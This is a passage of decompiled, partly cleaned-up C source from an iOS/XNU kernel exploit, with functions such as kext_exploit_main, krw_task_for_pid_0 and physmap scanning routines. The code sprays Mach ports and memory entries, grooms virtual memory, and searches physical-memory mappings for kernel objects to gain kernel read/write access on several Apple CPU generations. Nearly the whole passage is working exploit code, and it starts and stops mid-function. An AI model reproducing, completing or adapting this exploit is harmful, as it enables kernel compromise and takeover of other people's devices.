      mach_port_mod_refs(mach_task_self_, v17, 1u, -1);
    *(uint32_t *)&v30[i] = 0;
  }
  for ( j = 0; j != 64; j += 4 )
  {
    v19 = *(uint32_t *)&v38[j];
    if ( v19 + 1 >= 2 )
    {
      mach_port_mod_refs(v15, v19, 1u, -1);
      *(uint32_t *)&v38[j] = 0;
    }
  }
  if ( v36 && v37 )
  {
    vm_deallocate(v15, v36, v37);
    v36 = 0;
    v37 = 0;
  }
  if ( v34 && v35 )
  {
    vm_deallocate(v15, v34, v35);
    v34 = 0;
    v35 = 0;
  }
  if ( name + 1 >= 2 )
  {
    mach_port_deallocate(v15, name);
    name = 0;
  }
  if ( v39 + 1 >= 2 )
  {
    mach_port_deallocate(v15, v39);
    v39 = 0;
  }
  v20 = v32;
  if ( v32 )
  {
    v21 = v33;
    if ( v33 )
    {
      v22 = 0;
      do
      {
        v23 = v20[v22];
        if ( v23 + 1 >= 2 )
        {
          mach_port_deallocate(v15, v23);
          v20 = v32;
          *((uint32_t *)v32 + v22) = 0;
          v21 = v33;
        }
        ++v22;
      }
      while ( v22 < v21 );
    }
    free(v20);
  }
#undef v25
#undef address
#undef size
#undef v28
#undef v29
#undef v30
#undef name
#undef v32
#undef v33
#undef v34
#undef v35
#undef v36
#undef v37
#undef v38
#undef v39
  return v11;
}
// CB98: variables would overlap: w1.4 and x1.8
// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
// 48940: using guessed type __int64 __fastcall __chkstk_darwin(uint64_t, uint64_t);

//----- (000000000000CE78) ----------------------------------------------------
__int64 __fastcall kext_exploit_main_trampoline(uint64_t x0, uint64_t x1_idk, uint32_t w2, uint64_t x3)
{
  return kext_exploit_main(x0, 3u, x3);
}

//----- (000000000000CE84) ----------------------------------------------------
__int64 __fastcall kext_image_scan_init(uint64_t *a1)
{
  *(uint32_t *)a1 = kext_image_scan_trampoline_0(a1[2], a1[1]);
  return 0;
}

//----- (000000000000CEB8) ----------------------------------------------------
__int64 __fastcall kext_image_scan_trampoline_0(uint64_t x0, uint64_t x1)
{
  __int64 v2; // x0
  __int64 v3; // x1
  __int64 v4; // x20
  __int64 v5; // x19
  __int64 v6; // x27
  unsigned __int64 v7; // x0
  kern_return_t memory_entry; // w0
  vm_size_t v9; // x21
  __int64 v10; // x22
  __int64 i; // x21
  mach_port_name_t v13; // w0
  void *v14; // x0
  size_t v15; // x21
  void *v16; // x0
  int v17; // w8
  unsigned __int64 v18; // x21
  int v19; // w2
  __int64 j; // x21
  mach_msg_bits_t msgh_bits; // w1
  unsigned __int64 v22; // x8
  __int64 v23; // x0
  __int64 v24; // x23
  pid_t v25; // w0
  __int64 addr_v24; // x24
  __int64 v27; // x8
  __int64 v28; // x8
  __int64 v29; // x9
  __int64 v30; // x21
  int v31; // w0
  __int64 v32; // x0
  void *v33; // x24
  __int64 v34; // x8
  uint64_t *v35; // x21
  __int64 v36; // x8
  unsigned int v37; // w9
  uint32_t *v38; // x10
  __int64 v39; // x11
  mach_port_t v40; // w9
  vm_prot_t v41; // w3
  unsigned int v42; // w8
  __int64 v43; // x24
  int8x8_t *v44; // x13
  int8x8_t *v45; // x14
  int8x8_t v46; // x9
  __int64 v47; // x15
  uint64_t *v48; // x25
  __int64 v49; // x8
  unsigned int v50; // w23
  uintptr_t v51; // x22
  char *v52; // x21
  unsigned int v53; // w8
  bool v54; // zf
  __int64 v55; // x22
  uint8x8_t v56; // d0
  __int64 v57; // x23
  kern_return_t v58; // w0
  int v59; // w22
  __int64 k; // x21
  vm_address_t v61; // x1
  unsigned __int64 v62; // x24
  int8x8_t *v63; // x21
  int8x8_t *v64; // x21
  int8x8_t v65; // t1
  int8x8_t *v66; // x9
  unsigned int v67; // w8
  uint8x8_t v68; // d0
  int v69; // w8
  int v70; // w0
  __int64 v71; // x0
  unsigned int v72; // w25
  char v73; // w22
  __int64 v74; // x8
  __int64 v75; // x8
  unsigned int v76; // w8
  mach_port_t v77; // w8
  mach_msg_return_t v78; // w0
  __int64 v79; // x9
  __int64 v80; // x11
  vm_size_t v81; // x12
  vm_size_t v82; // x13
  int8x8_t v83; // x10
  __int64 v84; // x14
  uint64_t *v85; // x15
  unsigned int v86; // w16
  unsigned int m; // w17
  __int64 *v88; // x0
  __int64 v89; // x1
  vm_size_t v90; // x2
  char *v91; // x3
  uint8x8_t v92; // d0
  unsigned int v93; // w0
  __int64 v94; // x0
  __int64 v95; // x8
  mach_port_name_t v96; // w4
  mach_msg_return_t v97; // w0
  unsigned int v98; // w25
  vm_address_t v99; // x22
  vm_size_t msgh_voucher_port; // x21
  vm_address_t v101; // x8
  char v102; // w8
  unsigned int v103; // w8
  unsigned __int64 v104; // x21
  __int64 v105; // x9
  mach_port_name_t v106; // w1
  __int64 v107; // x21
  mach_port_name_t v108; // w1
  __int64 v109; // x0
  mach_port_t v110; // w0
  unsigned __int64 ipc_port; // x0
  __int64 v112; // x8
  __int64 v113; // x25
  __int64 v114; // x21
  __int64 v115; // x0
  __int64 v116; // x1
  __int64 v117; // x8
  int v118; // w0
  unsigned __int64 v120; // x8
  uint64_t *v121; // x8
  unsigned __int64 v122; // x1
  unsigned int v123; // w8
  __int64 v124; // x21
  __int64 v125; // x24
  mach_port_name_t v126; // w22
  unsigned __int64 v127; // x0
  __int64 v128; // x0
  unsigned __int64 v129; // x23
  __int64 v130; // x23
  __int64 v131; // x24
  __int64 v132; // x8
  unsigned int v133; // w1
  __int64 v134; // x0
  unsigned __int64 v135; // x22
  unsigned __int64 v136; // x0
  __int64 v137; // x0
  unsigned __int64 v138; // x22
  kern_return_t v139; // w0
  __int64 ii; // x21
  vm_address_t v141; // x1
  __int64 jj; // x21
  vm_address_t v143; // x1
  __int64 v144; // x8
  char v145; // w9
  char v146; // w21
  __int64 v147; // x25
  vm_address_t v148; // x1
  kern_return_t v149; // w0
  int has_flag; // w22
  __int64 v151; // x8
  char *v152; // x1
  __int64 v153; // x22
  unsigned __int64 v154; // x0
  unsigned __int64 v155; // x0
  unsigned __int64 v156; // x21
  __int64 v157; // x25
  __int64 v158; // x8
  int v159; // w22
  __int64 v160; // x8
  unsigned __int64 v161; // x0
  __int64 v162; // x25
  __int64 v163; // x8
  __int64 v164; // x9
  int v165; // w0
  unsigned __int64 v166; // x0
  __int64 v167; // x8
  unsigned __int64 v168; // x0
  __int64 v169; // x8
  __int64 v170; // x8
  unsigned __int64 v171; // x9
  unsigned __int64 v172; // x8
  __int64 v173; // x0
  vm_size_t v174; // x23
  unsigned __int64 v175; // x0
  __int64 v176; // x24
  unsigned __int64 v177; // x0
  unsigned __int64 v178; // x21
  unsigned __int64 v179; // x0
  unsigned __int64 v180; // x25
  __int64 v181; // x25
  vm_address_t v182; // x1
  __int64 v183; // x8
  __int64 v184; // x8
  __int64 v185; // x8
  io_service_t v186; // w0
  io_service_t v187; // w24
  mach_port_t v188; // w21
  __int64 n; // x25
  io_connect_t v190; // w0
  int v192; // w8
  const void **v193; // x0
  const void *v194; // x22
  const void **v195; // x0
  const void *v196; // x23
  const void **v197; // x0
  const void *v198; // x24
  const struct __CFData *v199; // x0
  const struct __CFData *v200; // x24
  int v201; // w8
  uint32_t v202; // w25
  mem_entry_name_port_t *v203; // x23
  const UInt8 *BytePtr; // x22
  size_t Length; // x0
  mach_msg_bits_t v206; // w9
  __int64 v207; // x10
  unsigned __int64 v208; // x23
  int v209; // w0
  __int64 v210; // x24
  int v211; // w0
  unsigned __int64 v212; // x25
  vm_address_t v213; // x24
  vm_address_t v214; // x8
  __int64 v215; // x21
  unsigned __int64 v216; // x0
  unsigned int v217; // w8
  unsigned __int64 v218; // x21
  __int64 v219; // x23
  mach_port_name_t v220; // w1
  unsigned int v221; // w8
  unsigned __int64 v222; // x21
  __int64 v223; // x23
  vm_address_t v224; // x1
  unsigned __int64 v225; // x8
  bool v226; // cc
  int pipe; // w20
  unsigned int v228; // w0
  unsigned int v229; // w24
  unsigned int v230; // w0
  int v231; // w22
  int v232; // w23
  int v233; // w0
  int v234; // w0
  unsigned int v235; // w0
  unsigned __int64 v236; // x0
  __int64 v237; // x22
  int v238; // w1
  integer_t v239; // w10
  mem_entry_name_port_t v240; // w9
  mem_entry_name_port_t v241; // w8
  int v242; // w20
  int v243; // w8
  int v244; // w20
  int v245; // w8
  size_t v246; // x21
  mach_msg_bits_t v247; // w1
  mach_msg_size_t msgh_size; // w9
  __int64 v249; // x8
  __int64 v250; // x8
  unsigned __int64 v251; // x20
  unsigned __int64 v252; // x24
  unsigned __int64 v253; // x26
  int v254; // w25
  int v255; // w0
  vm_address_t v256; // x8
  bool v257; // cf
  int v258; // w8
  mach_port_t *v259; // [xsp+30h] [xbp-1120h]
  unsigned int *v260; // [xsp+40h] [xbp-1110h]
  __int64 v261; // [xsp+48h] [xbp-1108h]
  __int64 v262; // [xsp+50h] [xbp-1100h]
  unsigned __int64 v263; // [xsp+50h] [xbp-1100h]
  __int64 v264; // [xsp+58h] [xbp-10F8h]
  __int64 v265; // [xsp+58h] [xbp-10F8h]
  __int64 v266; // [xsp+60h] [xbp-10F0h]
  __int64 v267; // [xsp+60h] [xbp-10F0h]
  __int64 v268; // [xsp+68h] [xbp-10E8h]
  __int64 v269; // [xsp+68h] [xbp-10E8h]
  unsigned __int64 v270; // [xsp+68h] [xbp-10E8h]
  mach_port_name_t v271[2]; // [xsp+70h] [xbp-10E0h]
  mach_port_name_t v272; // [xsp+70h] [xbp-10E0h]
  __int64 v273; // [xsp+70h] [xbp-10E0h]
  void *value; // [xsp+78h] [xbp-10D8h]
  unsigned __int64 valuea; // [xsp+78h] [xbp-10D8h]
  int v276; // [xsp+80h] [xbp-10D0h]
  unsigned __int64 v277; // [xsp+80h] [xbp-10D0h]
  int v278; // [xsp+80h] [xbp-10D0h]
  int v279; // [xsp+80h] [xbp-10D0h]
  vm_size_t v280; // [xsp+88h] [xbp-10C8h]
  unsigned int *v281; // [xsp+90h] [xbp-10C0h]
  __int64 v282; // [xsp+90h] [xbp-10C0h]
  __int64 v283; // [xsp+90h] [xbp-10C0h]
  unsigned __int64 v284; // [xsp+90h] [xbp-10C0h]
  __int64 v285; // [xsp+90h] [xbp-10C0h]
  uintptr_t theDict; // [xsp+98h] [xbp-10B8h]
  CFMutableDictionaryRef theDicta; // [xsp+98h] [xbp-10B8h]
  CFMutableDictionaryRef theDictb; // [xsp+98h] [xbp-10B8h]
  CFMutableDictionaryRef theDictc; // [xsp+98h] [xbp-10B8h]
  CFMutableDictionaryRef theDictd; // [xsp+98h] [xbp-10B8h]
  CFDictionaryRef *theDicte; // [xsp+98h] [xbp-10B8h]
  unsigned __int64 kobject; // [xsp+A0h] [xbp-10B0h]
  unsigned __int64 v293; // [xsp+A0h] [xbp-10B0h]
  int8x8_t *v294; // [xsp+A8h] [xbp-10A8h]
  vm_size_t v295; // [xsp+A8h] [xbp-10A8h]
  vm_size_t v296; // [xsp+A8h] [xbp-10A8h]
  vm_size_t v297; // [xsp+A8h] [xbp-10A8h]
  int8x8_t *__handle; // [xsp+B0h] [xbp-10A0h]
  uint32_t *__handlea; // [xsp+B0h] [xbp-10A0h]
  char *__handleb; // [xsp+B0h] [xbp-10A0h]
  unsigned __int64 __handlec; // [xsp+B0h] [xbp-10A0h]
  void *__handled; // [xsp+B0h] [xbp-10A0h]
  unsigned __int64 __handlee; // [xsp+B0h] [xbp-10A0h]
  char *v304; // [xsp+B8h] [xbp-1098h]
  unsigned int v305; // [xsp+B8h] [xbp-1098h]
  vm_size_t size; // [xsp+C0h] [xbp-1090h] BYREF
  mem_entry_name_port_t object_handle; // [xsp+CCh] [xbp-1084h] BYREF
  integer_t port_info; // [xsp+D0h] [xbp-1080h] BYREF
  vm_address_t address; // [xsp+D8h] [xbp-1078h] BYREF
  mach_msg_header_t name; // [xsp+E0h] [xbp-1070h] BYREF
  unsigned __int64 v311; // [xsp+100h] [xbp-1050h]
  vm_address_t v312; // [xsp+110h] [xbp-1040h] BYREF
  unsigned __int64 v313; // [xsp+118h] [xbp-1038h] BYREF
  int v314; // [xsp+124h] [xbp-102Ch] BYREF
  __int64 v315; // [xsp+128h] [xbp-1028h] BYREF
  __int64 v316; // [xsp+130h] [xbp-1020h] BYREF
  __int64 v317; // [xsp+138h] [xbp-1018h] BYREF
  size_t outputStructCnt; // [xsp+140h] [xbp-1010h] BYREF
  mem_entry_name_port_t v319[2]; // [xsp+148h] [xbp-1008h] BYREF
  integer_t a1[4]; // [xsp+150h] [xbp-1000h] BYREF
  __int128 v321; // [xsp+160h] [xbp-FF0h]
  struct
  {
    mach_msg_header_t outputStruct[2]; // [xsp+170h] [xbp-FE0h] BYREF
    __int128 v323; // [xsp+1A0h] [xbp-FB0h]
    __int128 v324; // [xsp+1B0h] [xbp-FA0h]
    __int128 v325; // [xsp+1C0h] [xbp-F90h]
    __int128 v326; // [xsp+1D0h] [xbp-F80h]
    __int128 v327; // [xsp+1E0h] [xbp-F70h]
    __int128 v328; // [xsp+1F0h] [xbp-F60h]
    __int128 v329; // [xsp+200h] [xbp-F50h]
    __int128 v330; // [xsp+210h] [xbp-F40h]
    __int128 v331; // [xsp+220h] [xbp-F30h]
    __int128 v332; // [xsp+230h] [xbp-F20h]
    __int128 v333; // [xsp+240h] [xbp-F10h]
    __int128 v334; // [xsp+250h] [xbp-F00h]
    __int128 v335; // [xsp+260h] [xbp-EF0h]
    uint8_t padding[0xE60];
  } outputScratch;
#define outputStruct outputScratch.outputStruct
#define v323 outputScratch.v323
#define v324 outputScratch.v324
#define v325 outputScratch.v325
#define v326 outputScratch.v326
#define v327 outputScratch.v327
#define v328 outputScratch.v328
#define v329 outputScratch.v329
#define v330 outputScratch.v330
#define v331 outputScratch.v331
#define v332 outputScratch.v332
#define v333 outputScratch.v333
#define v334 outputScratch.v334
#define v335 outputScratch.v335

  v4 = x1;
  v5 = x0;
  v6 = 708625;
  _Static_assert(sizeof(outputScratch) == 0xF60, "kext_image_scan_trampoline_0 output scratch size mismatch");
  address = 0;
  object_handle = 0;
  size = vm_page_size;
  v7 = comm_page_memory_size();
  *(uint64_t *)(v4 + 8) = v7;
  *(uint64_t *)(v4 + 0x34E8) = 0x10000000800LL;
  if ( v7 > 0x400000000LL )
    return 708616;
  memory_entry = vm_allocate(mach_task_self_, &address, 0x2000u, 1);
  if ( memory_entry )
    return memory_entry | 0x80000000;
  *(uint64_t *)(v4 + 13464) = address;
  *(uint64_t *)(v4 + 13472) = 0x2000;
  *(uint64_t *)&outputStruct[0].msgh_bits = 0;
  v9 = vm_page_size;
  memory_entry = vm_map(
                   mach_task_self_,
                   (vm_address_t *)&outputStruct[0].msgh_bits,
                   129 * vm_page_size,
                   0x1FFFFFFu,
                   -922746879,
                   0,
                   0,
                   0,
                   3,
                   3,
                   1u);
  if ( memory_entry )
    return memory_entry | 0x80000000;
  *(uint64_t *)(v4 + 13448) = *(uint64_t *)&outputStruct[0].msgh_bits;
  *(uint64_t *)(v4 + 13456) = vm_page_size + (v9 << 7);
  for ( i = 3370; i != 3386; ++i )
  {
    v13 = mach_reply_port();
    if ( v13 + 1 < 2 )
      return 4097;
    *(uint32_t *)(v4 + 4 * i) = v13;
    port_info = 1024;
    memory_entry = mach_port_set_attributes(mach_task_self_, v13, 1, &port_info, 1u);
    if ( memory_entry )
      return memory_entry | 0x80000000;
  }
  memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0, 131075, &object_handle, 0);
  if ( memory_entry )
    return memory_entry | 0x80000000;
  *(uint32_t *)(v4 + 13424) = object_handle;
  v14 = calloc(0x200000u, 4u);
  if ( !v14 )
    return 708617;
  *(uint64_t *)(v4 + 13432) = v14;
  *(uint32_t *)(v4 + 13440) = 0x200000;
  *(uint64_t *)&outputStruct[0].msgh_bits = 0;
  v15 = vm_page_size << 9;
  memory_entry = vm_allocate(mach_task_self_, (vm_address_t *)&outputStruct[0].msgh_bits, vm_page_size << 9, -872415231);
  if ( memory_entry )
    return memory_entry | 0x80000000;
  v16 = *(void **)&outputStruct[0].msgh_bits;
  *(uint64_t *)(v4 + 11296) = *(uint64_t *)&outputStruct[0].msgh_bits;
  *(uint64_t *)(v4 + 11304) = v15;
  if ( madvise(v16, v15, 3) )
  {
LABEL_15:
    v17 = errno;
    if ( v17 < 0 )
      v17 = -v17;
    return v17 | 0x40000000u;
  }
  v18 = -2;
  do
  {
    v18 += 2LL;
    if ( (v18 & 2) != 0 )
      v19 = 1;
    else
      v19 = 2;
    if ( madvise((void *)(*(uint64_t *)&outputStruct[0].msgh_bits + vm_page_size * v18), 2 * vm_page_size, v19) )
      goto LABEL_15;
  }
  while ( v18 < 0x1FE );
  for ( j = 2832; j != 3088; ++j )
  {
    name.msgh_bits = 0;
    memory_entry = mach_port_allocate(mach_task_self_, 1u, &name.msgh_bits);
    if ( memory_entry )
      return memory_entry | 0x80000000;
    msgh_bits = name.msgh_bits;
    *(uint32_t *)(v4 + 4 * j) = name.msgh_bits;
    a1[0] = 1024;
    memory_entry = mach_port_set_attributes(mach_task_self_, msgh_bits, 1, a1, 1u);
    if ( memory_entry )
      return memory_entry | 0x80000000;
  }
  v260 = (unsigned int *)(v4 + 17988);
  v22 = *(uint64_t *)(v5 + 344);
  if ( v22 > XNU_VERSION_PACKED(10002, 60, 75, 0, 2) )
  {
    if ( (*(uint8_t *)v5 & 0x20) != 0 )
    {
      v10 = setup_kernel_region_via_flags((struct_krwCtx *)v5);
      if ( (uint32_t)v10 )
        return v10;
      v23 = get_iogpu_physmap_base(v5);
      if ( v23 )
      {
        v24 = v23;
        v25 = getpid();
        addr_v24 = krw_task_for_pid_0(v5, v24, v25);
        *(uint64_t *)(v4 + 11280) = addr_v24;
        goto LABEL_207;
      }
      return 163878;
    }
    goto LABEL_36;
  }
  if ( v22 > XNU_VERSION_PACKED(10002, 2, 12, 1023, 1023) || v22 >= XNU_VERSION_PACKED(8796, 142, 1, 700, 14) && *(int *)(v5 + 320) < 10002 )
  {
LABEL_36:
    theDict = 68;
    v262 = 184;
    v27 = 88;
    goto LABEL_40;
  }
  theDict = 60;
  v262 = 176;
  v27 = 80;
LABEL_40:
  *(uint64_t *)v271 = v27;
  arc4random_buf((void *)(v4 + 13584), 8u);
  arc4random_buf((void *)(v4 + 13592), 8u);
  v28 = *(uint64_t *)(v4 + 13448);
  v10 = 708609;
  if ( !v28 )
    return v10;
  v29 = *(uint64_t *)(v4 + 13456);
  if ( !v29 )
    return 708609;
  madvise((void *)(v29 + v28 - vm_page_size), vm_page_size, 3);
  if ( krw_ctx_has_flag((struct_krwCtx *)v5, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) && !krw_ctx_has_flag((struct_krwCtx *)v5, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) )
  {
    v57 = 0;
    v334 = 0u;
    v335 = 0u;
    v332 = 0u;
    v333 = 0u;
    v330 = 0u;
    v331 = 0u;
    v328 = 0u;
    v329 = 0u;
    v326 = 0u;
    v327 = 0u;
    v324 = 0u;
    v325 = 0u;
    v323 = 0u;
    memset(outputStruct, 0, sizeof(outputStruct));
    while ( 1 )
    {
      v58 = vm_map(
              mach_task_self_,
              (vm_address_t *)((char *)&outputStruct[0].msgh_bits + v57),
              0x2000000u,
              0x1FFFFFFu,
              -939524087,
              0,
              0,
              0,
              3,
              3,
              1u);
      if ( v58 != 3 )
      {
        v59 = v58;
        if ( v58 )
          goto LABEL_110;
        if ( madvise(*(void **)((char *)&outputStruct[0].msgh_bits + v57), vm_page_size, 3) )
          break;
      }
      v57 += 8;
      if ( v57 == 256 )
      {
        v59 = 0;
        goto LABEL_110;
      }
    }
    v59 = 5;
LABEL_110:
    for ( k = 0; k != 256; k += 8 )
    {
      v61 = *(uint64_t *)((char *)&outputStruct[0].msgh_bits + k);
      if ( v61 )
      {
        vm_deallocate(mach_task_self_, v61, 0x2000000u);
        *(uint64_t *)((char *)&outputStruct[0].msgh_bits + k) = 0;
      }
    }
    if ( v59 )
      return v59 | 0x80000000;
  }
  v30 = 0;
  v268 = 0;
  v304 = 0;
  v24 = 688;
  while ( 1 )
  {
    get_page_size();
    if ( *(uint32_t *)v4 != 3 )
    {
      v31 = 4;
LABEL_50:
      v10 = v31 | 0x80000000;
      goto LABEL_51;
    }
    v31 = kernel_read_loop_physmap(v5, v4, 0x10u, v4 + 688 * v30 + 16);
    if ( v31 )
      goto LABEL_50;
    get_page_size();
    v294 = (int8x8_t *)(v4 + 688 * v30 + 16);
    v32 = physmap_read_rebuild_page((uint64_t *)v4, v294);
    if ( !(uint32_t)v32 )
      break;
    v10 = v32;
LABEL_51:
    if ( ++v30 == 16 )
      goto LABEL_205;
  }
  v261 = v30;
  get_page_size();
  if ( !*(uint32_t *)(v4 + 13440) )
  {
    get_page_size();
LABEL_100:
    v10 = 708620;
    goto LABEL_101;
  }
  v33 = 0;
  v264 = *(uint64_t *)(v4 + 13432);
  v266 = *(unsigned int *)(v4 + 13544);
  v259 = (mach_port_t *)(v4 + 4 * v30 + 13480);
  v34 = v4 + 688 * v30;
  v281 = (unsigned int *)(v34 + 48);
  v276 = -(int)v266;
  v10 = 708620;
  v35 = (uint64_t *)(v4 + 13592);
  kobject = v34 + 40;
  do
  {
    a1[0] = 0;
    *(uint64_t *)&name.msgh_bits = vm_page_size;
    if ( v33 && !((unsigned int)v33 % (unsigned int)v266) )
    {
      v36 = *(uint64_t *)(v4 + 13464);
      if ( (uint32_t)v266 )
      {
        v37 = v276;
        v38 = *(uint32_t **)(v4 + 13464);
        v39 = v266;
        do
        {
          *v38++ = *(uint32_t *)(v264 + 4LL * v37);
          *(uint32_t *)(v264 + 4LL * v37++) = 0;
          --v39;
        }
        while ( v39 );
      }
      *(uint64_t *)&outputStruct[0].msgh_bits = 0x2C80001514LL;
      v40 = *v259;
      *(__int128 *)&outputStruct[0].msgh_local_port = xmmword_42EC0;
      *(uint64_t *)&outputStruct[1].msgh_size = v36;
      outputStruct[1].msgh_voucher_port = v266;
      outputStruct[0].msgh_remote_port = v40;
      outputStruct[1].msgh_local_port = 34668544;
      if ( mach_msg(outputStruct, 262161, 0x2Cu, 0, 0, 0, 0) )
        break;
    }
    v41 = v304 ? 67248131 : 67239939;
    if ( mach_make_memory_entry(mach_task_self_, (vm_size_t *)&name.msgh_bits, 0, v41, (mem_entry_name_port_t *)a1, 0) )
      break;
    value = v33;
    *(uint32_t *)(v264 + 4LL * (uint64_t)v33) = a1[0];
    v42 = *v281;
    if ( !*v281 )
      goto LABEL_92;
    v43 = 0;
    v45 = (int8x8_t *)kobject;
    v44 = v294;
    v46 = *(int8x8_t *)kobject;
    while ( 1 )
    {
      v47 = 1LL << v43;
      if ( ((1LL << v43) & *(uint64_t *)&v46) != 0 )
        goto LABEL_89;
      v48 = (uint64_t *)(*(uint64_t *)v44 + vm_page_size * v43);
      if ( *v48 == *v35 )
        goto LABEL_89;
      if ( vm_page_size )
        break;
LABEL_88:
      *(uint64_t *)&v46 |= v47;
      *v45 = v46;
      v10 = 708625;
LABEL_89:
      if ( ++v43 >= (unsigned __int64)v42 )
        goto LABEL_93;
    }
    v49 = 0;
    v50 = 0;
    v51 = theDict;
    while ( 1 )
    {
      v52 = (char *)v48 + v49;
      v53 = *(uint32_t *)((char *)v48 + v49 + 40);
      if ( v53 > 0x80 )
      {
LABEL_87:
        v46 = *v45;
        v35 = (uint64_t *)(v4 + 13592);
        v42 = *v281;
        goto LABEL_88;
      }
      if ( *(uint32_t *)v52 && *(uint32_t *)v52 == *((uint32_t *)v52 + 1) )
      {
        v54 = *((unsigned __int8 *)v52 + v51) != 128 && v53 == 1;
        if ( v54 && *((uint64_t *)v52 + 3) == *(uint64_t *)&name.msgh_bits )
          break;
      }
LABEL_86:
      v50 += *(uint32_t *)(v4 + 13548);
      v49 = v50;
      if ( vm_page_size <= v50 )
        goto LABEL_87;
    }
    if ( v304 )
    {
      v268 = *(uint64_t *)&v52[*(uint64_t *)v271];
      if ( validate_kaddr_range(v5, v268) )
      {
        v10 = 0;
        *(uint64_t *)kobject |= 1LL << v43;
        break;
      }
      goto LABEL_85;
    }
    v55 = *(uint64_t *)&v52[v262];
    if ( !validate_kaddr_range(v5, v55) )
    {
      v304 = 0;
      v51 = theDict;
LABEL_85:
      v45 = (int8x8_t *)kobject;
      v44 = v294;
      v47 = 1LL << v43;
      goto LABEL_86;
    }
    *(uint32_t *)(v264 + 4LL * (uint64_t)value) = 0;
    *(uint32_t *)(v4 + 13552) = a1[0];
    *(uint64_t *)(v4 + 13560) = v55 - v262;
    v42 = *v281;
    v10 = 708625;
    v304 = v52;
    v35 = (uint64_t *)(v4 + 13592);
LABEL_92:
    v45 = (int8x8_t *)kobject;
LABEL_93:
    v56 = (uint8x8_t)vcnt_s8(*v45);
    v56.i16[0] = vaddlv_u8(v56);
    if ( v42 == v56.i32[0] )
      break;
    v33 = (char *)value + 1;
    ++v276;
  }
  while ( (unsigned __int64)value + 1 < *(unsigned int *)(v4 + 13440) );
  get_page_size();
  if ( (uint32_t)v10 == 708620 )
    goto LABEL_100;
  if ( (uint32_t)v10 == 708625 )
  {
LABEL_101:
    v30 = v261;
    v24 = 688;
    goto LABEL_51;
  }
  *(uint64_t *)(v4 + 11280) = v268;
  if ( !validate_kaddr_range(v5, v268) )
    return 163878;
  v62 = (unsigned int)v261;
  while ( 2 )
  {
    v63 = (int8x8_t *)(v4 + 688 * v62);
    v65 = v63[2];
    v64 = v63 + 2;
    if ( !*(uint64_t *)&v65 || !*(uint64_t *)(v4 + 688 * v62 + 24) )
    {
      get_page_size();
      if ( *(uint32_t *)v4 == 3 )
      {
        v70 = kernel_read_loop_physmap(v5, v4, 0x10u, (__int64)v64);
        if ( !v70 )
        {
          get_page_size();
          v71 = physmap_read_rebuild_page((uint64_t *)v4, v64);
          if ( !(uint32_t)v71 )
          {
            get_page_size();
            v67 = *(uint32_t *)(v4 + 688 * v62 + 48);
            goto LABEL_134;
          }
          v10 = v71;
LABEL_128:
          v69 = 41;
          goto LABEL_129;
        }
      }
      else
      {
        v70 = 4;
      }
      v10 = v70 | 0x80000000;
      goto LABEL_128;
    }
    v66 = (int8x8_t *)(v4 + 688 * v62);
    v67 = v66[6].u32[0];
    v68 = (uint8x8_t)vcnt_s8(v66[5]);
    v68.i16[0] = vaddlv_u8(v68);
    if ( v67 == v68.i32[0] )
    {
      v69 = 41;
      v10 = 708625;
      goto LABEL_129;
    }
LABEL_134:
    if ( v67 <= 0x40 )
    {
      if ( *(uint64_t *)(v5 + 344) >> 43 < 0x44Bu )
        v72 = 0;
      else
        v72 = *(uint32_t *)(v5 + 384) % 0x50u;
      v282 = *(uint64_t *)(v4 + 11304) + *(uint64_t *)(v4 + 11296);
      theDicta = *(CFMutableDictionaryRef *)(v4 + 11296);
      v73 = vm_page_shift;
      kobject = v4 + 688 * v62 + 48;
      __handle = (int8x8_t *)(v4 + 688 * v62 + 40);
      LODWORD(v74) = *(uint32_t *)(v4 + 12352);
      do
      {
        if ( (unsigned int)v74 > 0xFF )
        {
LABEL_195:
          v10 = 708620;
          goto LABEL_196;
        }
        v75 = (unsigned int)v74 + 3089LL;
        while ( *(uint32_t *)(v4 + 4 * v75) >= 0x400u )
        {
          if ( (uint32_t)++v75 == 3345 )
            goto LABEL_195;
        }
        v76 = v75 - 3089;
        *(uint32_t *)(v4 + 12352) = v76;
        *(uint64_t *)&outputStruct[0].msgh_bits = 0x2C80000014LL;
        v77 = *(uint32_t *)(v4 + 11296 + 4LL * v76 + 32);
        *(__int128 *)&outputStruct[0].msgh_local_port = xmmword_42EC0;
        outputStruct[1].msgh_voucher_port = *(uint64_t *)(v4 + 11304);
        *(uint64_t *)&outputStruct[1].msgh_size = *(uint64_t *)(v4 + 11296);
        outputStruct[0].msgh_remote_port = v77;
        outputStruct[1].msgh_local_port = 16777472;
        v78 = mach_msg(outputStruct, 262161, 0x2Cu, 0, 0, 0, 0);
        if ( v78 )
        {
          v10 = v78 | 0x80000000;
          goto LABEL_196;
        }
        v74 = *(unsigned int *)(v4 + 12352);
        ++*(uint32_t *)(v4 + 4 * v74 + 12356);
        v79 = *(unsigned int *)kobject;
        if ( (uint32_t)v79 )
        {
          v80 = 0;
          v81 = (vm_size_t)theDicta + 4 * vm_page_size;
          v82 = v282 - 4 * vm_page_size;
          v83 = *__handle;
          do
          {
            v84 = 1LL << v80;
            if ( ((1LL << v80) & *(uint64_t *)&v83) == 0 )
            {
              v85 = (uint64_t *)(*(uint64_t *)v64 + (unsigned int)((uint32_t)v80 << v73));
              if ( *v85 != *(uint64_t *)(v4 + 13592) )
              {
                v86 = *(uint32_t *)(v5 + 384);
                if ( v72 < v86 )
                {
                  for ( m = v72; m < v86; m += 80 )
                  {
                    v88 = (uint64_t *)((char *)v85 + m);
                    v89 = *v88;
                    if ( (unsigned __int64)(*v88 - 1) < 0xFFFEFFFFFFFFFFFFLL )
                      break;
                    if ( (v88[8] & 0xFFF) == 0xCC )
                    {
                      v90 = v88[2];
                      if ( v90 > v81 && v88[3] <= v82 )
                      {
                        v91 = (char *)v85 + (*(uint64_t *)(v5 + 392) & v89);
                        if ( *((uint64_t *)v91 + 3) == v90 )
                        {
                          *(uint64_t *)(v4 + 13408) = v89;
                          *(uint64_t *)(v4 + 13392) = *((uint64_t *)v91 + 1);
                          *(uint64_t *)(v4 + 13384) = v88;
                          *(uint64_t *)(v4 + 13400) = v91;
                          *__handle = (int8x8_t){ .u64 = { v84 | *(uint64_t *)&v83 } };
                          v94 = check_physmap_page_count((uint32_t *)v4, (__int64)v64);
                          if ( (uint32_t)v94 )
                          {
                            v10 = v94;
                            goto LABEL_196;
                          }
                          v283 = *(unsigned int *)(v4 + 12352);
                          if ( (v283 & 0x80000000) != 0 )
                          {
LABEL_184:
